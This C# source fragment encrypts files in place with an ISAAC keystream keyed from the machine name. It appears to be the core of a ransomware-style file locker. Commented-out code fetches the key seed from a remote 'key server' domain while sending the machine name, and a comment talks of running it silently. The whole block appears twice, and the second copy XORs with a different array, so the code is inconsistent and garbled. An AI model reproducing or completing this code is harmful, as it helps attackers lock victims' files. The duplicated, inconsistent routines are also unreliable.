//XOR works both ways, so we don't need one function for Encrypting and one function for Decrypting, they're both the same thing for XORing
public static void CryptFile(ISAAC csprng, byte[] subkey, string loc)
{
FileStream s = null;
int[] oldmem = null;
try
{
s = File.Open(loc, FileMode.Open, FileAccess.ReadWrite, FileShare.None);
oldmem = new int[ISAAC.SIZE];
for (int i = 0; i < ISAAC.SIZE; i++)
{
oldmem[i] = csprng.mem[i]; //Fast copy
}
for (int i = 0; i < subkey.Length; i++)
{
csprng.mem[i] ^= subkey[i];
}
byte[] buffer = new byte[ISAAC.SIZE];
int read = s.Read(buffer, 0, ISAAC.SIZE);
do
{
csprng.Isaac();
for (int i = 0; i < read; i++)
{
buffer[i] = (byte)((buffer[i] ^ csprng.rsl[i]) % 256);
}
s.Seek(-read, SeekOrigin.Current);
s.Write(buffer, 0, read);
} while ((read = s.Read(buffer, 0, ISAAC.SIZE)) > 0);
}
catch (UnauthorizedAccessException) { return; } //Fixes crashes on files with the readonly attribute
//catch { return; } //If you were to actually use this silently, however this can actually f**k up decryption bad so this will never be used.
finally
{
if (s != null)
{
s.Close();
s.Dispose();
}
if (oldmem != null)
{
csprng.mem = oldmem;
csprng.Isaac();
}
}
}
public static ISAAC PrepareKey()
{
try
{
string seed;
//using (WebClient w = new WebClient()) seed = w.DownloadString("http://someshittydomain.info/?getseed=" + Environment.MachineName);
seed = Environment.MachineName;
byte[] realseed = Encoding.UTF8.GetBytes(seed);
ISAAC csprng = new ISAAC();
for (int i = 0; i < TUMBLE; i++)
csprng.Isaac(); //Why not?
for (int i = 0; i < realseed.Length; i++)
csprng.mem[i] = realseed[i]; //Inject the seed into Isaac
StringBuilder b = new StringBuilder(seed.Length);
for (int i = 0; i < seed.Length; i++) b.Append(' ');
seed = b.ToString(); //Zero-out seed
for (int i = 0; i < realseed.Length; i++) realseed[i] = 0; //Zero-out readseed
seed = null; realseed = null; //Push out of scope for GC
for (int i = 0; i < TUMBLE; i++)
csprng.Isaac(); //Some more tumbling
return csprng;
}
catch (WebException) { MessageBox.Show("Key server unavailable.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return null; }
catch { return null; }
}
public const int TUMBLE = 3; //Tumble ISAAC this many times before and after injecting the seed
#endregion Fields
#region Methods
//XOR works both ways, so we don't need one function for Encrypting and one function for Decrypting, they're both the same thing for XORing
public static void CryptFile(ISAAC csprng, byte[] subkey, string loc)
{
FileStream s = null;
int[] oldmem = null;
try
{
s = File.Open(loc, FileMode.Open, FileAccess.ReadWrite, FileShare.None);
oldmem = new int[ISAAC.SIZE];
for (int i = 0; i < ISAAC.SIZE; i++) oldmem[i] = csprng.mem[i]; //Fast copy
for (int i = 0; i < subkey.Length; i++)
csprng.mem[i] ^= subkey[i];
byte[] buffer = new byte[ISAAC.SIZE];
int read = s.Read(buffer, 0, ISAAC.SIZE);
do
{
csprng.Isaac();
for (int i = 0; i < read; i++)
buffer[i] = (byte)((buffer[i] ^ csprng.mem[i]) % 256);
s.Seek(-read, SeekOrigin.Current);
s.Write(buffer, 0, read);
} while ((read = s.Read(buffer, 0, ISAAC.SIZE)) > 0);
}
catch (UnauthorizedAccessException) { return; } //Fixes crashes on files with the readonly attribute
//catch { return; } //If you were to actually use this silently, however this can actually f**k up decryption bad so this will never be used.
finally
{
if (s != null)
{
s.Close();
s.Dispose();
}
if (oldmem != null)
{
csprng.mem = oldmem;
csprng.Isaac();
}
}
}
public const int TUMBLE = 3; //Tumble ISAAC this many times before and after injecting the seed
public static ISAAC PrepareKey()
{
try
{
string seed;
//using (WebClient w = new WebClient()) seed = w.DownloadString("http://someshittydomain.info/?getseed=" + Environment.MachineName);
seed = Environment.MachineName;
byte[] realseed = Encoding.UTF8.GetBytes(seed);
ISAAC csprng = new ISAAC();
for (int i = 0; i < TUMBLE; i++)
{
csprng.Isaac(); //Why not?
}
for (int i = 0; i < realseed.Length; i++)
{
csprng.mem[i] = realseed[i]; //Inject the seed into Isaac
}
StringBuilder b = new StringBuilder(seed.Length);
for (int i = 0; i < seed.Length; i++)
{
b.Append(' ');
}
seed = b.ToString(); //Zero-out seed
for (int i = 0; i < realseed.Length; i++)
{
realseed[i] = 0; //Zero-out readseed
}
seed = null; realseed = null; //Push out of scope for GC
for (int i = 0; i < TUMBLE; i++)
{
csprng.Isaac(); //Some more tumbling
}
return(csprng);
}
catch (WebException) { MessageBox.Show("Key server unavailable.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return(null); }
catch { return(null); }
}